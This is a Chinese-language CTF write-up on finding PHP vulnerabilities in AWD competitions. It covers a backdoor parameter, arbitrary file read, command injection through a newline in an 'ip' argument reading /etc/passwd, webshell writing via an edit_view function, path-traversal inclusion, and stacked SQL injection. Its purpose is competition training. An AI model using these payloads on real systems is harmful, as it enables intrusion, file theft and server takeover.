Background

想着awd模式关于挖洞的起手还是有一些可以探究的地方,于是写下这篇文章,本文只针对于php的题目

非MVC框架类

因为MVC框架类像是Tp什么的在实际awd场景下和MVC框架的还是相差比较多的,所以我在这里就将他们分开来说
非MVC可以直接D盾扫下后门高危函数然后继续跟
比如你可以在index.php直接找到个后门
CE7B9A44-518E-4DE9-AB5D-EE9407B054DE.png
直接?func=system&args=cat /flag即可

C69BEBE5-C898-4946-BB3C-20FDB7196AD5.png

并且很容易找到这种sql注入 修复的话就直接ban掉你能想到的所有函数和单引号双引号这种(但基本现场没等修好不死马也就来了,这就是awd模式现在越来越少的主要原因)
sql注入基本都是为了登录后台,然后后台上传getshell这种,在比赛场上这种洞可以用 但是影响太小了(除非注入的权限很大可以直接写马),因为拿到flag主要的洞还是找可以rce的点 或者是文件读取 着重关注重装漏洞 对锁的判定,出题人可能玩些有趣
的 任意删除漏洞删除lock,然后重装数据库未过滤写shell

  $file=isset($_GET['file'])?$_GET['file']:"elitecms.sql";

也会出现这种比较弱智的任意文件读取
607D6650-3AC3-4EE0-AF39-3EB08425240F.png
这也有一个可以直接写进去的点 数据库名字没被过滤
11C659AE-6FAA-4C87-A8AB-2D4F5C267C2D.png
有时候漏洞必须要有一些权限的限制
(这套系统其实是基于MVC的 但其实很简单 这里就放在里面随便说说了)
B7828FF9-4F8B-48D2-9956-4B803D3C5644.png
比如这里 test_network函数可以直接拼接执行命令的语句
但是他进行了鉴权
这个点蛮有意思 我详细说一下

$this->role = $is_admin==1;

用这个判断管理员的权限,然后继续跟进check_authcode函数

function check_authcode($authcode){
    global $config;
    if($authcode==md5($config['authcode']))
        return true;
        return false;

}

所以我们要跟的就是这个$authcode了 跟进$config来看看
78B5B85D-25E7-4486-B7F3-F3A84ECA288C.png
然后跟进本地的config.php

 ),
  'authcode' => '4641',
);

直接找到了authcode 跟着要求直接传值调用函数即可
672DD4AF-23F9-4C45-829D-50089EE8AD1F.png
payload:

api/admin/test_network?code=5ffaa9f5182c2a36843f438bb1fdbdea&ip=%0acat%20/etc/passwd

但其实我们现在已经可以绕过登录admin了
admin下面的操作我们都可以做了
跟进一个edit_view函数

   function edit_view(){
        $view_file = ['index.html','login.html','register.html','reset.html'];
        if(in_array($_POST['file'],$view_file)){
            if(file_put_contents(VIEW_PATH.$_POST['file'],$_POST['content'])){
                return json_encode(['status'=>1,'data'=>'更新成功']);
            }
        } else{
            return json_encode(['status'=>0,'data'=>'更新失败']);
        }
    }

可以往$view_file里面任意一个文件 写shell就完事了
http://127.0.0.1:8080/api/admin/edit_view?code=5ffaa9f5182c2a36843f438bb1fdbdea
payload:
file=register.html&content=<?=system("cat /etc/passwd");?>

2CC25CB3-DFC2-4798-B2B9-6206D01D6C17.png

这个系统最好玩的漏洞是
52182BE5-0389-4060-8813-EEF54D76E459.png
在这里可以看到他包含进class类下的一个文件,直接路径拼接
但其实注册的功能点在data目录下 并且会把序列化数据写入user的文件夹,注册里写入shell就可以了

然后这样包含

?app=../data/user/&m=用户名

即可

MVC框架类

在比赛中现在越来越多的MVC框架的,像是基于thinkphp laravel这种开发的
首先就是tp rce这种原本就有的漏洞 多存几个链子
现场给phar位点,配合链子getshell
着重看控制器,审计控制器,了解我刚才提到的解析url的方法
后台直接看自己有没有sql文件 但一般来说弱口令比较多,赶快改自己的
然后后台模板getshell
即使是mvc框架
也会有这种num可以直接注入的地方
BC68B502-251B-4403-B3E0-58E1BF7F0B49.png
堆叠修改密码即可

总结

只要了解基本的解析模式,是否mvc其实并不重要,还是自己要在打的时候多关注一下这些点